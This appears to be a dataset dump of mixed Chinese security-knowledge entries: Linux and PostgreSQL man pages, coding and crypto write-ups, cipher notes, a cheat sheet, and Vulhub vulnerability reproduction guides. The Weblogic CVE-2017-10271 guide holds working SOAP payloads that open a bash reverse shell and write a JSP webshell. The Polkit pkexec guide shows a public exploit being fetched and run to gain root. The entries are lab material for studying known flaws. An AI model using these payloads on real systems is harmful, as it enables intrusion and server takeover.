text
stringlengths
100
9.93M
category
stringclasses
11 values
vgremove === 用于用户删除LVM卷组 ## 补充说明 **vgremove命令** 用于用户删除LVM卷组。当要删除的卷组上已经创建了逻辑卷时,vgremove命令需要进行确认删除,防止误删除数据。 ### 语法 ```shell vgremove(选项)(参数) ``` ### 选项 ```shell -f:强制删除。 ``` ### 参数 卷组:指定要删除的卷组名称。 ### 实例 使用vgremove命令删除LVM卷组"vg1000"。在命令行中输入下面的命令: ```shell [root@localhost ~]# vgremove vg1000 #删除卷组"vg1000" Volume group "vg1000" successfully removed ```
sec-knowleage
# 67. 把字符串转换成整数 ## 题目链接 [NowCoder](https://www.nowcoder.com/practice/1277c681251b4372bdef344468e4f26e?tpId=13&tqId=11202&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 将一个字符串转换成一个整数,字符串不是一个合法的数值则返回 0,要求不能使用字符串转换整数的库函数。 ```html Iuput: +2147483647 1a33 Output: 2147483647 0 ``` ## 解题思路 ```java public int StrToInt(String str) { if (str == null || str.length() == 0) return 0; boolean isNegative = str.charAt(0) == '-'; int ret = 0; for (int i = 0; i < str.length(); i++) { char c = str.charAt(i); if (i == 0 && (c == '+' || c == '-')) /* 符号判定 */ continue; if (c < '0' || c > '9') /* 非法输入 */ return 0; ret = ret * 10 + (c - '0'); } return isNegative ? -ret : ret; } ```
sec-knowleage
# Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271) Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。 参考链接: - https://www.exploit-db.com/exploits/43458/ - https://paper.seebug.org/487/ - https://github.com/Tom4t0/Tom4t0.github.io/blob/master/_posts/2017-12-22-WebLogic%20WLS-WebServices组件反序列化漏洞分析.md - http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html ## 环境搭建 启动测试环境: ``` docker compose up -d ``` 等待一段时间,访问`http://your-ip:7001/`即可看到一个404页面,说明weblogic已成功启动。 ## 漏洞复现 发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误): ``` POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: your-ip:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 633 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> ``` 成功获取shell: ![](1.png) 写入webshell(访问:`http://your-ip:7001/bea_wls_internal/test.jsp`): ``` POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: your-ip:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 638 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string> <void method="println"><string> <![CDATA[ <% out.print("test"); %> ]]> </string> </void> <void method="close"/> </object></java></java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> ```
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "CLOSE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME CLOSE \- 关闭一个游标 .SH SYNOPSIS .sp .nf CLOSE \fIname\fR .sp .fi .SH "DESCRIPTION 描述" .PP \fBCLOSE\fR 释放和一个游标关联的资源。 一个游标关闭后,不允许对其再做任何操作。一个不再使用的游标应该关闭掉。 .PP 在一个事务用 COMMIT 或者 ROLLBACK 终止之后, 每个不可保持的已打开游标都隐含关闭。如果创建事务通过 ROLLBACK 退出, 那么一个可以保持的游标隐含关闭。如果创建事务成功提交,那么可保持的游标保持打开, 直到执行一个明确的 CLOSE,或者客户端断开。 .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 一个待关闭的游标的名字。 .SH "NOTES 注意" .PP PostgreSQL 没有明确的 OPEN (打开)游标的语句; 我们认为一个游标在声明时就打开了。使用 DECLARE 语句声明一个游标。 .SH "EXAMPLES 例子" .PP 关闭游标 liahona: .sp .nf CLOSE liahona; .sp .fi .SH "COMPATIBILITY 兼容性" .PP \fBCLOSE\fR 完全遵循 SQL 标准。 .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
# YApi NoSQL注入导致远程命令执行漏洞 YApi是一个API管理工具。在其1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。 参考链接: - <https://github.com/YMFE/yapi/commit/59bade3a8a43e7db077d38a4b0c7c584f30ddf8c> ## 漏洞环境 执行如下命令启动一个YApi v1.10.2服务: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:3000`即可看到YApi首页。 ## 漏洞复现 本漏洞的利用需要YApi应用中至少存在一个项目与相关数据,否则无法利用。Vulhub环境中的YApi是一个即开即用、包含测试数据的服务器,所以可以直接进行漏洞复现。 使用[这个POC](poc.py)来复现漏洞: ``` python poc.py --debug one4all -u http://127.0.0.1:3000/ ``` ![](1.png)
sec-knowleage
> 本节中会介绍几种搭建域渗透环境的方法 # 搭建域环境 ## 针对新手的小型环境 第一个实验指导书可以帮你建立一个非常小而且简单的实验环境,这个实验环境由域控制器和几个工作组组成。目的就是使用`Responder`和其他骚气的工具练习凭据中转。 ## 针对老司机的中大型环境 我添加了一篇文章,使用ESXi构建一个更大的实验环境,并使用`Vagrant`自动化。如果你有兴趣,并且有很多时间,可以try try。它需要设置`Active Directory`和配置`Windows`计算机。它可以用作`MCSA和MCSE认证`的配套实验环境。 ## 自动构建域渗透环境 有一段时间,我一直使用Hyper-V 去玩 [AutomatedLab](https://github.com/AutomatedLab/AutomatedLab)。
sec-knowleage
'\" t .TH "SHUTDOWN" "8" "" "systemd 231" "shutdown" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bugs.debian.org/507673 .\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" ----------------------------------------------------------------- .\" * set default formatting .\" ----------------------------------------------------------------- .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .\" ----------------------------------------------------------------- .\" * MAIN CONTENT STARTS HERE * .\" ----------------------------------------------------------------- .SH "NAME" shutdown \- 停机、关机、重新启动 .SH "SYNOPSIS" .HP \w'\fBshutdown\fR\ 'u \fBshutdown\fR [OPTIONS...] [TIME] [WALL...] .SH "描述" .PP \fBshutdown\fR 可用于停机、关机、 重新启动 .PP 可选参数 [TIME] 是一个表示时间的字符串(通常是 "now")。可选参数 [WALL...] 用于设置在关机前发送给所有登录用户的警告信息。 .PP 时间字符串可以是 "hh:mm" 格式, 表示在指定的时间点"小时:分钟"(24小时制)执行关机动作。 时间字符串也可以是 "+m" 格式, 表示从现在起的 m 分钟之后执行关机动作。 "now" 与 "+0" 的含义相同, 表示立即触发关机流程。如果未指定时间字符串, 那么 "+1" 是默认值。 .PP 注意,如果要设置 [WALL...] 参数, 那么必须同时设置 [TIME] 参数。 .PP 如果使用了 [TIME] 参数, 那么在关机流程开始前5分钟将会创建 /run/nologin 文件, 以禁止用户登录。 .SH "选项" .PP 能够识别的命令行选项如下: .PP \fB\-\-help\fR .RS 4 显示简短的帮助信息并退出。 .RE .PP \fB\-H\fR, \fB\-\-halt\fR .RS 4 停机(关闭系统但是不切断电源) .RE .PP \fB\-P\fR, \fB\-\-poweroff\fR .RS 4 关机(关闭系统并且切断电源), 这是默认值。 .RE .PP \fB\-r\fR, \fB\-\-reboot\fR .RS 4 重新启动 .RE .PP \fB\-h\fR .RS 4 等价于使用 \fB\-\-poweroff\fR 选项, 除非明确使用了 \fB\-\-halt\fR 选项。 .RE .PP \fB\-k\fR .RS 4 不实际执行关机动作, 而是仅仅发送警告消息。 .RE .PP \fB\-\-no\-wall\fR .RS 4 不在关机前发送警告消息 .RE .PP \fB\-c\fR .RS 4 取消一个已经在计划中的关机动作。 用于取消一个先前未使用 "+0" 或 "now" 参数的 \fBshutdown\fR 命令。 .RE .SH "退出状态" .PP 返回值为 0 表示成功, 非零返回值表示失败代码。 .SH "参见" .PP \fBsystemd\fR(1), \fBsystemctl\fR(1), \fBhalt\fR(8), \fBwall\fR(1) .\" manpages-zh translator: 金步国 .\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
sec-knowleage
# Polkit's `pkexec` Local Privilege Escalation Vulnerability (CVE-2021-4034) [中文版本(Chinese version)](README.zh-cn.md) Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. The pkexec application is a setuid tool that provided by Polkit, it is designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation giving unprivileged users administrative rights on the target machine. References: - https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt - https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 - https://github.com/berdav/CVE-2021-4034 ## Vulnerability Environment > Note: Linux kernel is fixed the [`argc==0` bug](https://lwn.net/Articles/882799/) in this [commit](https://github.com/torvalds/linux/commit/dcd46d897adb70d63e025f175a00a89797d31a43), so Vulhub uses a Qemu virtual machine emulator to run a vulnerable Ubuntu 20.04, that contains polkit version 0.105. It required your system have at least 2G memory to run the environment. You can run following command to start the Ubuntu 20.04 with polkit 0.105: ``` docker compose up -d ``` Because there is a virtual server running inside Docker container, you will need to wait longer until you see the success logs using `docker compose logs -f` like that: ``` cmd_1 | [ 651.040963] cloud-init[1627]: Cloud-init v. 20.1-10-g71af48df-0ubuntu5 running 'modules:final' at Wed, 11 Jan 2023 14:57:10 +0000. Up 209.05 seconds. cmd_1 | [ 651.046024] cloud-init[1627]: ci-info: no authorized SSH keys fingerprints found for user ubuntu. cmd_1 | [ 651.049934] cloud-init[1627]: Cloud-init v. 20.1-10-g71af48df-0ubuntu5 finished at Wed, 11 Jan 2023 15:04:32 +0000. Datasource DataSourceNoCloud [seed=/dev/sdb][dsmode=net]. Up 650.90 seconds cmd_1 | [ OK ] Finished Execute cloud user/final scripts. cmd_1 | [ OK ] Reached target Cloud-init target. ``` ![](1.png) ## Exploit Firstly, use `ubuntu/vulhub` to login the target SSH server: ``` ssh ubuntu@192.168.1.163 -p2222 ``` Use [this repository](https://github.com/berdav/CVE-2021-4034) to reproduce the CVE-2021-4034: ``` ubuntu@ubuntu:~$ id uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd) ubuntu@ubuntu:~$ cd /tmp/ ubuntu@ubuntu:/tmp$ wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.tar.gz --2023-01-11 15:11:29-- https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.tar.gz Resolving github.com (github.com)... 20.205.243.166 Connecting to github.com (github.com)|20.205.243.166|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://codeload.github.com/berdav/CVE-2021-4034/tar.gz/refs/heads/main [following] --2023-01-11 15:11:30-- https://codeload.github.com/berdav/CVE-2021-4034/tar.gz/refs/heads/main Resolving codeload.github.com (codeload.github.com)... 20.205.243.165 Connecting to codeload.github.com (codeload.github.com)|20.205.243.165|:443... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [application/x-gzip] Saving to: ‘main.tar.gz’ main.tar.gz [ <=> ] 4.08K --.-KB/s in 0.003s 2023-01-11 15:11:30 (1.49 MB/s) - ‘main.tar.gz’ saved [4176] ubuntu@ubuntu:/tmp$ tar -zxvf main.tar.gz CVE-2021-4034-main/ CVE-2021-4034-main/.gitignore CVE-2021-4034-main/LICENSE CVE-2021-4034-main/Makefile CVE-2021-4034-main/README.md CVE-2021-4034-main/cve-2021-4034.c CVE-2021-4034-main/cve-2021-4034.sh CVE-2021-4034-main/dry-run/ CVE-2021-4034-main/dry-run/Makefile CVE-2021-4034-main/dry-run/dry-run-cve-2021-4034.c CVE-2021-4034-main/dry-run/pwnkit-dry-run.c CVE-2021-4034-main/pwnkit.c ubuntu@ubuntu:/tmp$ cd CVE-2021-4034-main/ ubuntu@ubuntu:/tmp/CVE-2021-4034-main$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules mkdir -p GCONV_PATH=. cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:. ubuntu@ubuntu:/tmp/CVE-2021-4034-main$ ./cve-2021-4034 # id uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd),1000(ubuntu) ``` ![](2.png) As you can see, I currently become a root user after exploits.
sec-knowleage
# 测试支持 下面的代码用于支持测试,默认情况下 perturb_byte 是0。 ```c static int perturb_byte; static void alloc_perturb(char *p, size_t n) { if (__glibc_unlikely(perturb_byte)) memset(p, perturb_byte ^ 0xff, n); } static void free_perturb(char *p, size_t n) { if (__glibc_unlikely(perturb_byte)) memset(p, perturb_byte, n); } ```
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "DROP TABLE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME DROP TABLE \- 删除一个表 .SH SYNOPSIS .sp .nf DROP TABLE \fIname\fR [, ...] [ CASCADE | RESTRICT ] .sp .fi .SH "DESCRIPTION 描述" .PP \fBDROP TABLE\fR 从数据库中删除表或视图。 只有其所有者才能删除一个表或视图。要清空一个表,而不删除表, 使用 DELETE。 .PP \fBDROP TABLE\fR 总是删除目标表上现有的任何索引, 规则,触发器以及约束。但是,要删除一个由另外一个表用外键约束引用的表, 我们必须声明 CASCADE。(CASCADE 将删除外键约束,而不是另外一个表。) .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 要删除的现存表的名字(可以有模式修饰)。 .TP \fBCASCADE\fR 自动删除依赖于表的对象。(比如视图)。 .TP \fBRESTRICT\fR 如果存在依赖对象,则拒绝删除该表。这个是缺省。 .SH "EXAMPLES 例子" .PP 删除 films 和 distributors表: .sp .nf DROP TABLE films, distributors; .sp .fi .SH "COMPATIBILITY 兼容性" .PP 此命令遵循 SQL 标准。 .SH "SEE ALSO 参见" ALTER TABLE [\fBalter_table\fR(7)], CREATE TABLE [\fBcreate_table\fR(l)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
import binascii s=open("flag.pcapng","rb").read().split(".2015.") res="" for i in s: j=i.split("Host: ")[-1] try: r=binascii.unhexlify(j) print r res=res+r except: pass print res
sec-knowleage
# JWT 在Spring Boot中,可以使用许多库来实现JWT验证和生成。然而,如果在实现JWT验证和生成的过程中存在漏洞,可能会导致JWT token被伪造。以下是可能导致JWT token伪造漏洞的一些常见问题: 1. 使用弱密钥:如果使用弱密钥生成JWT token,攻击者可能会使用暴力破解或其他技术来破解密钥,从而伪造JWT token。 2. 未正确验证JWT token:在处理JWT token时,应该对其进行验证以确保其有效性。如果未正确验证JWT token,则攻击者可能会伪造JWT token并使用它来访问受保护的资源。 3. 错误地解析JWT token:在处理JWT token时,应该正确解析JWT token以获取其中包含的信息。如果错误地解析JWT token,则可能会导致应用程序使用被伪造的信息。 4. CSRF攻击:跨站请求伪造(CSRF)攻击可能会导致攻击者伪造JWT token并将其提交给应用程序。应用程序应该采取适当的措施来防止CSRF攻击。
sec-knowleage
--- title: Alan AI date: 2023-03-03 6:00:00 background: bg-[#4aa181] tags: - AI - AlanAI - Prompts - Tips categories: - Toolkit intro: This cheat covers all major script concepts, client API methods, handlers and other tools to create a multimodal conversational experience with Alan AI --- Dialog script ------------- ### Intents & patterns Define a voice command to play a response ``` {.wrap} intent('pattern'[, 'patternN'], reply('pattern')) ``` Define a voice command to play a response or perform an action ``` {.wrap} intent('pattern'[, 'patternN'], p => { action }) ``` Define alternatives ``` {.wrap} intent('phrase1|phrase2') ``` Define optional words and phrases ``` {.wrap} intent('pattern (optional phrase|)') ``` ### Response functions Play a response (in case of multiple patterns, a response is picked at random) ``` {.wrap} reply('pattern'[, 'patternN']) ``` Play a response ``` {.wrap} p.play('pattern') ``` Define voice settings for the assistant reply: ``accent (en, fr, de, it, ru, es)``, ``gender (male/female)``, ``voice type``, ``speaking pitch``, ``speaking rate`` ``` {.wrap} p.play([voice(code, gender, type, pitch, rate), ]'pattern') ``` Define play options: ``force:true`` (execute if the button is inactive), ``activate:true`` (activate the button before), ``deactivate:true`` (deactivate the button after) ``` {.wrap} p.play('pattern'[, opts(options)]) ``` Send a command to the app ``` {.wrap} p.play({command:data}) ``` ### User-defined slots Define a static list of values expected in the input ``` {.wrap} $(SLOTNAME value1|value2) => p.SLOTNAME.value ``` Provide labels to classify or identify the slot values ``` {.wrap} $(SLOTNAME value1~label1|value2~label2) => p.SLOTNAME.label ``` Enable fuzzy matching to capture similar variants ``` {.wrap} $(SLOTNAME~ value1|value2) => p.SLOTNAME.value ``` Make a slot optional ``` {.wrap} $(SLOTNAME value1|value2|) ``` Capture several slot values ``` {.wrap} intent('$(SLOTNAME value1|value2) and $(SLOTNAME value1|value2 )') => p.SLOTNAME_ (array), p.SLOTNAME_[0].value, p.SLOTNAME_[1].value ``` ### Predefined slots Capture date values ``` {.wrap} $(DATE) => p.DATE.value, p.DATE.moment, p.DATE.luxon ``` Capture time values ``` {.wrap} $(TIME) => p.TIME.value, p.TIME.moment ``` Capture cardinal numbers ``` {.wrap} $(NUMBER) => p.NUMBER.value, p.NUMBER.number ``` Capture ordinal numbers ``` {.wrap} $(ORDINAL) => p.ORDINAL.value, p.ORDINAL.number ``` Capture locations ``` {.wrap} $(LOC) => p.LOC.value ``` Capture names ``` {.wrap} $(NAME) => p.NAME.value ``` ### Dynamic slots Define a dynamic slot at the project level ``` {.wrap} project.name = {en: "value1|value2|value3"} $(SLOTNAME p:name) => p.SLOTNAME.value ``` Define a dynamic slot at the dialog session level ``` {.wrap} p.userData.name = {en: "value1|value2|value3"} $(SLOTNAME u:name) => p.SLOTNAME.value ``` Get data for a dynamic slot with the visual state ``` {.wrap} let name = ["value1|value2|value3"] p.visual.data = {en: name}; $(SLOTNAME v:name) => p.SLOTNAME.value ``` Define a dynamic slot in a short form ``` {.wrap} project.name = {en: "value1|value2|value3"} $(p:name) => p.SLOTNAME.value ``` Define labels for dynamic slots: see [User-defined slots](#user-defined-slots). Enable fuzzy matching for dynamic slots: see [User-defined slots](#user-defined-slots). Make a dynamic slot optional: see [User-defined slots](#user-defined-slots). Capture several slot values: see [User-defined slots](#user-defined-slots). ### RegEx slots Capture digit and/or letter combination ``` {.wrap} const reg = "([A-Za-z]{1}\\s?){6}" $(SLOTNAME* ${reg}) => p.SLOTNAME.value ``` Capture any user’s input ``` {.wrap} $(SLOTNAME* .+) => p.SLOTNAME.value ``` ### Contexts Define a context ``` {.wrap} let contextName = context(() => { action }) ``` Activate a context ``` {.wrap} intent('pattern', p => {..., p.then(contextName)} ``` Pass data to the context ``` {.wrap} p.then(contextName, state: {data:yourData}) => p.state.data ``` Resolve a context ``` {.wrap} p.resolve([data:yourData]) ``` Reset a context ``` {.wrap} p.resetContext() ``` Define intents to be matched at any time without switching the current context ``` {.wrap} intent(noctx, 'pattern', ...) or noContext(() => {intent(...)}) ``` Play a prompt for an expected input ``` {.wrap} fallback('pattern1'[, 'patternN']) ``` Title a context ``` {.wrap} title('contextName') ``` ### Predefined objects Store static device- and user-specific data passed from the client app ``` {.wrap} authData.data => p.authData.data ``` Store state data to be available globally at the project scope ``` {.wrap} project.info = {data:yourData} => project.info.data ``` Store the intent match score ``` {.wrap} p.score ``` Store data to be passed between contexts ``` {.wrap} p.state.data ``` Store visual context data to be passed from the client app with ``setVisualState()`` ``` {.wrap} p.visual.data ``` Store user-specific state data to be accessible during the dialog session ``` {.wrap} p.userData.data ``` ### Predefined callbacks Define actions to be performed when the script is saved and dialog model is built ``` {.wrap} onCreateProject(() => { action }) ``` Define actions to be performed when the dialog session starts ``` {.wrap} onCreateUser((p) => { action }) ``` Define actions to be performed when the dialog session ends ``` {.wrap} onCleanupUser((p) => { action }) ``` Define actions to be performed when the visual state is set ``` {.wrap} onVisualState((p, s) => { action }) ``` Define actions to be performed when a user event is triggered in the client app: ``buttonReady``, ``buttonClicked``, ``micPermissionPrompt``, ``micAllowed``, ``firstActivate``, ``showPopup``, ``popupCloseClicked``, ``recognized`` ``` {.wrap} onUserEvent((p, e) => { action }) ``` Define actions to be performed when a context is activated ``` {.wrap} onEnter((p) => { action }) ``` ### Q&A service Define a URL of a resource to be indexed ``` {.wrap} corpus({url: url, depth: depthLevel}) ``` Define text corpus to be used by the assistant in the dialog ``` {.wrap} corpus('text') ``` ### Built-in JS libraries Make API calls ``` {.wrap} axios, request ``` Work with time ``` {.wrap} moment-timezone, luxon ``` Work with arrays, numbers, objects, strings and so on ``` {.wrap} lodash ``` ### Other Provide a list of hints to help recognize specific terms ``` {.wrap} recognitionHints('hint'[, 'hintN']) ``` Write info messages to Alan Studio logs ``` {.wrap} console.log(data) ``` Write error messages to Alan Studio logs ``` {.wrap} console.error(data) ``` Client SDK ---------- ### Client API methods Send information about the visual state from the client app to the dialog script ``` {.wrap} setVisualState(visualStateData:object) ``` Send data or perform actions without a voice command ``` {.wrap} projectAPI.method = function(p, param, callback) { p.userData.data = param.data; callback(); }; callProjectApi(method:string, data:object, callback:function) ``` Play a text message in the client app ``` {.wrap} playText(text:string) ``` Send a text message to Alan as the user’s input ``` {.wrap} sendText(text:string) ``` Execute a command in the client app ``` {.wrap} playCommand(command:object) ``` ### Client API methods (continued) Activate the Alan button programmatically ``` {.wrap} activate() ``` Deactivate the Alan button programmatically ``` {.wrap} deactivate() ``` Check the Alan button state ``` {.wrap} isActive() ``` Remove the Alan button from the parent element, page (supported on Web, Ionic) ``` {.wrap} remove() ``` Check the state of the wake word (supported on iOS, Android) ``` {.wrap} getWakewordEnabled() ``` Set the state of the wake word (supported on iOS, Android) ``` {.wrap} setWakewordEnabled(enabled:boolean) ``` ### Handlers // Examples are provided for the Web platform Handle commands sent from the dialog script to the client app ``` {.wrap} onCommand: function (commandData) { action } ``` Handle Alan button state changes ``` {.wrap} onButtonState: function (e) { action } ``` Handle connection status to the virtual assistant project in the Alan Cloud ``` {.wrap} onConnectionStatus: function (e) { action } ``` Handle events received from Alan ``` {.wrap} onEvent: function (e) { action } ``` Also see -------- - [Alan AI website](https://alan.app) - [About the Alan Platform](https://alan.app/platform) - [Alan AI documentation](https://alan.app/docs) <style> em { font-size: 0.785em; } strong {font-weight: 400;} ul.collapsible > li > pre { padding-left: 0; padding-right: 0; font-size: 0.925em;} </style>
sec-knowleage
# Diffie-Hellman 2 (crypto 300) ###ENG [PL](#pl-version) In the task we get parameters for Diffie-Hellman key exchange. However, we get only the public secrets from the participants, like if we were sniffing them, and we want to get the shared secret from this. We get: ``` p = 6703903964971298549787012499102923063739682910296196688861780721860882015036773488400937149083451713845015929093243025426876941405973284973216824503042047 ga = 842498333348457493583344221469363458551160763204392890034487820288 # g^a gb = 89202980794122492566142873090593446023921664 # g^b g = 9444732965739290427392 ``` From this we want to calculate `g^ab mod p`, and therefore we need to know either `a` or `b`. Normally this would not be possible, but the numbers we have are rather small, so we can effecively compute a discrete logarithm and recover `a` from `g^a` or `b` from `g^b`: ```python def discrete_log(g, ga): for i in range(2, 1000): if g ** i == ga: return i def main(): p = 6703903964971298549787012499102923063739682910296196688861780721860882015036773488400937149083451713845015929093243025426876941405973284973216824503042047 ga = 842498333348457493583344221469363458551160763204392890034487820288 gb = 89202980794122492566142873090593446023921664 g = 9444732965739290427392 a = discrete_log(g, ga) b = discrete_log(g, gb) print(a) print(b) print(pow(gb, a, p)) print(str(pow(gb, a, p))[:20]) main() ``` Which tells us that `a = 3`, `b = 2` and the flag is `70980344169492860405` ###PL version W zadaniu dostajemy parametry dla wymiany klucza protokołem Diffiego Hellmana. Niemniej dostajemy jedynie publiczne sekrety uczestników, tak jakbyśmy ich sniffowali, a chcemy z tego uzyskać wspólny sekret. Dostajemy: ``` p = 6703903964971298549787012499102923063739682910296196688861780721860882015036773488400937149083451713845015929093243025426876941405973284973216824503042047 ga = 842498333348457493583344221469363458551160763204392890034487820288 # g^a gb = 89202980794122492566142873090593446023921664 # g^b g = 9444732965739290427392 ``` I z tego chcemy policzyć `g^ab mod p`, co oznacza że musimy poznać `a` lub `b`. Normalnie to nie byłoby możliwe, ale liczby na których operujemy są względnie małe więc możemy efektywnie policzyć logarytm dyskretny i odzyskać `a` z `g^a` lub `b` z `g^b`: ```python def discrete_log(g, ga): for i in range(2, 1000): if g ** i == ga: return i def main(): p = 6703903964971298549787012499102923063739682910296196688861780721860882015036773488400937149083451713845015929093243025426876941405973284973216824503042047 ga = 842498333348457493583344221469363458551160763204392890034487820288 gb = 89202980794122492566142873090593446023921664 g = 9444732965739290427392 a = discrete_log(g, ga) b = discrete_log(g, gb) print(a) print(b) print(pow(gb, a, p)) print(str(pow(gb, a, p))[:20]) main() ``` Co mówi nam ze `a = 3`, `b = 2` a flaga to `70980344169492860405`
sec-knowleage
### IDEA概述 **国际数据加密算法**(International Data Encryption Algorithm,IDEA),最早称为**改良建议加密标准**(Improved Proposed Encryption Standard,IPES),是密码学上一种对称密钥分组密码,由 James Massey 与来学嘉设计,在1991年首次提出。这个算法的提出,是为了取代旧有的数据加密标准 DES。(来自维基百科) ### IDEA密钥生成 IDEA 在加密的每轮中使用 6个密钥,然后最后输出轮使用4个密钥。所以一共有52个。 1. 前8个密钥来自与该算法最初的密钥,K1 取自密钥的高16比特,K8 取自密钥的低16比特。 2. 将密钥循环左移 25 位获取下一轮密钥,然后再次分为8组。 ### IDEA加密流程 IDEA 加密的数据块的大小为 64 比特,其使用的密钥长度为128 比特。该算法会对输入的数据块进行8次相同的变换,只是每次使用的密钥不同,最后会进行一次输出变换。每一轮的操作 可以输入和输出都是 16 比特位一组。每一轮的主要执行的运算有 - 按位异或,⊕ - 模加,模数为 $2^{16}$ ,⊞ - 模乘,模数为 $2^{16}+1$ ,⊙。但是需要注意的是 0x0000 的输入会被修改为 $2^{16}$ ,$2^{16}$ 的输出结果会被修改为0x0000。 这里我们称由 K5,K6 构成的中间那个方格的加密方式为MA。这也是 IDEA 算法中重要的一部分,此外,我们称 MA_L 为该部分加密后的左侧结果,其最后会和最左边的 16 比特操作;MA_R 为该部分加密后的右半部分的结果,其最后会和第三个 16 比特操作。 ### IDEA解密流程 解密流程与加密流程相似,主要在于其密钥的选取 - 第 i(1-9) 轮的解密的密钥的前 4 个子密钥由加密过程中第10-i 轮的前 4 个子密钥得出 - 其中第 1 个和第 4 个解密子密钥为相应的子密钥关于 $2^{16}+1$ 的乘法逆元。 - 第 2 个和第 3 个子密钥的取法为 - 当轮数为2,...,8时,取相应的第3个和第2个的子密钥的$2^{16}$ 的加密逆元。 - 当轮数为 1 或 9 时,取相应的第 2 个和第 3 个子密钥对应的$2^{16}$ 的加密逆元。 - 第 5 和第 6 个密钥不变。 ### IDEA总体流程 我们来证明一下算法的正确性,这里我们关注于解密算法的第一轮,首先我们先看一下$Y_i$ 是如何得到的 $Y_1 = W_{81} \odot Z_{49}$ $Y_2=W_{83}\boxplus Z_{50}$ $Y_3=W_{82}\boxplus Z_{51}$ $Y_4=W_{83}\odot Z_{52}$ 解密时,第一轮直接进行的变换为 $J_{11}=Y_1 \odot U_1=Y_1 \odot Z_{49}^{-1}=W_{81}$ $J_{12}=Y_2 \boxplus U2=Y_2\boxplus Z_{50}^{-1}=W_{83}$ $J_{13}=Y_3 \boxplus U3=Y_3\boxplus Z_{51}^{-1}=W_{82}$ $J_{14}=Y_4 \odot U_4=Y_4 \odot Z_{52}^{-1}=W_{84}$ 可以看出得到的结果只有中间的两个16位加密结果恰好相反。我们进一步看一下$W_{8i}$ 是如何得到的。 $W_{81}=I_{81} \oplus MA_R(I_{81}\oplus I_{83},I_{82}\oplus I_{84})$ $W_{82}=I_{83} \oplus MA_R(I_{81}\oplus 